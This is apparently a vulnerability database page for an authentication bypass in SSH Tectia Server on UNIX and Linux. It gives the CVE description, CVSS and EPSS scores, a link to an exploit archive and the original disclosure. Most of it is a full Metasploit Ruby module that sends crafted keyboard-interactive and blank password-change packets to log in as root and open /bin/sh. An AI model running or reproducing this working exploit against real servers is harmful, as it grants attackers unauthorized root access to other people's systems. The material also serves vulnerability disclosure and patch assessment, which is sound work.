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The SSH USERAUTH CHANGE REQUEST feature in SSH Tectia Server 6.0.4 through 6.0.20, 6.1.0 through 6.1.12, 6.2.0 through 6.2.5, and 6.3.0 through 6.3.2 on UNIX and Linux, when old-style password authentication is enabled, allows remote attackers to bypass authentication via a crafted session involving entry of blank passwords, as demonstrated by a root login session from a modified OpenSSH client with an added input_userauth_passwd_changereq call in sshconnect2.c.
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
78.27%
–
–
2022-05-08
–
–
76.69%
–
–
2022-08-21
–
–
75.35%
–
–
2022-11-20
–
–
73.6%
–
–
2023-02-19
–
–
73.02%
–
–
2023-03-12
–
–
–
49.36%
–
2023-06-25
–
–
–
47.45%
–
2023-10-29
–
–
–
49.14%
–
2023-12-31
–
–
–
44.16%
–
2024-02-11
–
–
–
47.43%
–
2024-03-17
–
–
–
51.58%
–
2024-03-31
–
–
–
51.58%
–
2024-04-14
–
–
–
51.26%
–
2024-06-02
–
–
–
60.08%
–
2024-09-22
–
–
–
47.91%
–
2024-11-03
–
–
–
45.79%
–
2024-12-22
–
–
–
46.96%
–
2024-12-29
–
–
–
37.19%
–
2025-02-16
–
–
–
35.77%
–
2025-01-19
–
–
–
37.19%
–
2025-02-16
–
–
–
35.77%
–
2025-03-18
–
–
–
–
24.23%
2025-03-30
–
–
–
–
25.75%
2025-03-30
–
–
–
–
25.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23082.zip
SSH Tectia Remote Authentication Bypass
Tectia is the commercial OpenSSH solution. The product can be found at:
www.tectia.com
An attacker in the possession of a valid username of an SSH Tectia installation running on UNIX (verified: AIX/Linux) can login without a password.
The bug is in the SSH USERAUTH CHANGE REQUEST routines which are there to allow a user to change their password. A bug in this code allows an attacker to login without a password by forcing a password change request prior to authentication.
The vulnerability has been verified on UNIX operating systems and at least on this (recent) versions:
• SSH-2.0-6.1.9.95 SSH Tectia Server (Latest available version from www.tectia.com)
• SSH-2.0-6.0.11.5 SSH Tectia Server
A default installation on Linux (version 6.1.9.95 of Tectia) is vulnerable to the attack.
Kingcope
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Tectia SSH server for Unix-based
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
before password authentication, allowing any remote user to bypass the login
routine, and then gain access as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kingcope', #Original 0day
'bperry',
'sinn3r'
],
'References' =>
[
['EDB', '23082'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
],
'Privileged' => true,
'DisclosureDate' => "Dec 01 2012",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def check
connect
banner = sock.get_once
print_status("#{rhost}:#{rport} - #{banner}")
disconnect
return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
return Exploit::CheckCode::Safe
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
#
# This is where the login begins. We're expected to use the keyboard-interactive method to
# authenticate, but really all we want is skipping it so we can move on to the password
# method authentication.
#
def auth_keyboard_interactive(user, transport)
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
auth_req_pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "keyboard-interactive", #method name
:string, "", #lang
:string, ""
)
user_auth_pkt = Net::SSH::Buffer.from(
:byte, 0x3D, #userauth info
:raw, 0x01, #number of prompts
:string, "", #password
:raw, "\0"*32 #padding
)
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
2.times do |i|
#USRAUTH REQ
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
end
end
#
# The following link is useful to understand how to craft the USERAUTH password change
# request packet:
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
#
def userauth_passwd_change(user, transport, connection)
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "password" #method name
)
pkt.write_bool(true)
pkt.write_string("") #Old pass
pkt.write_string("") #New pass
transport.send_message(pkt)
message = transport.next_message.type
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
transport.send_message(transport.service_request("ssh-userauth"))
message = transport.next_message.type
if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
connection = nil
return shell
end
end
end
def do_login(user)
opts = {:user=>user, :record_auth_info=>true}
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
transport = Net::SSH::Transport::Session.new(rhost, options)
connection = Net::SSH::Connection::Session.new(transport, options)
auth_keyboard_interactive(user, transport)
userauth_passwd_change(user, transport, connection)
end
def exploit
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
# engaging a variety of SSHD targets on a network.
if check != Exploit::CheckCode::Appears
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
return
end
c = nil
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
c = do_login(datastore['USERNAME'])
end
rescue Rex::ConnectionError, Rex::AddressInUse
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
end
handler(c.lsock) if c
end
end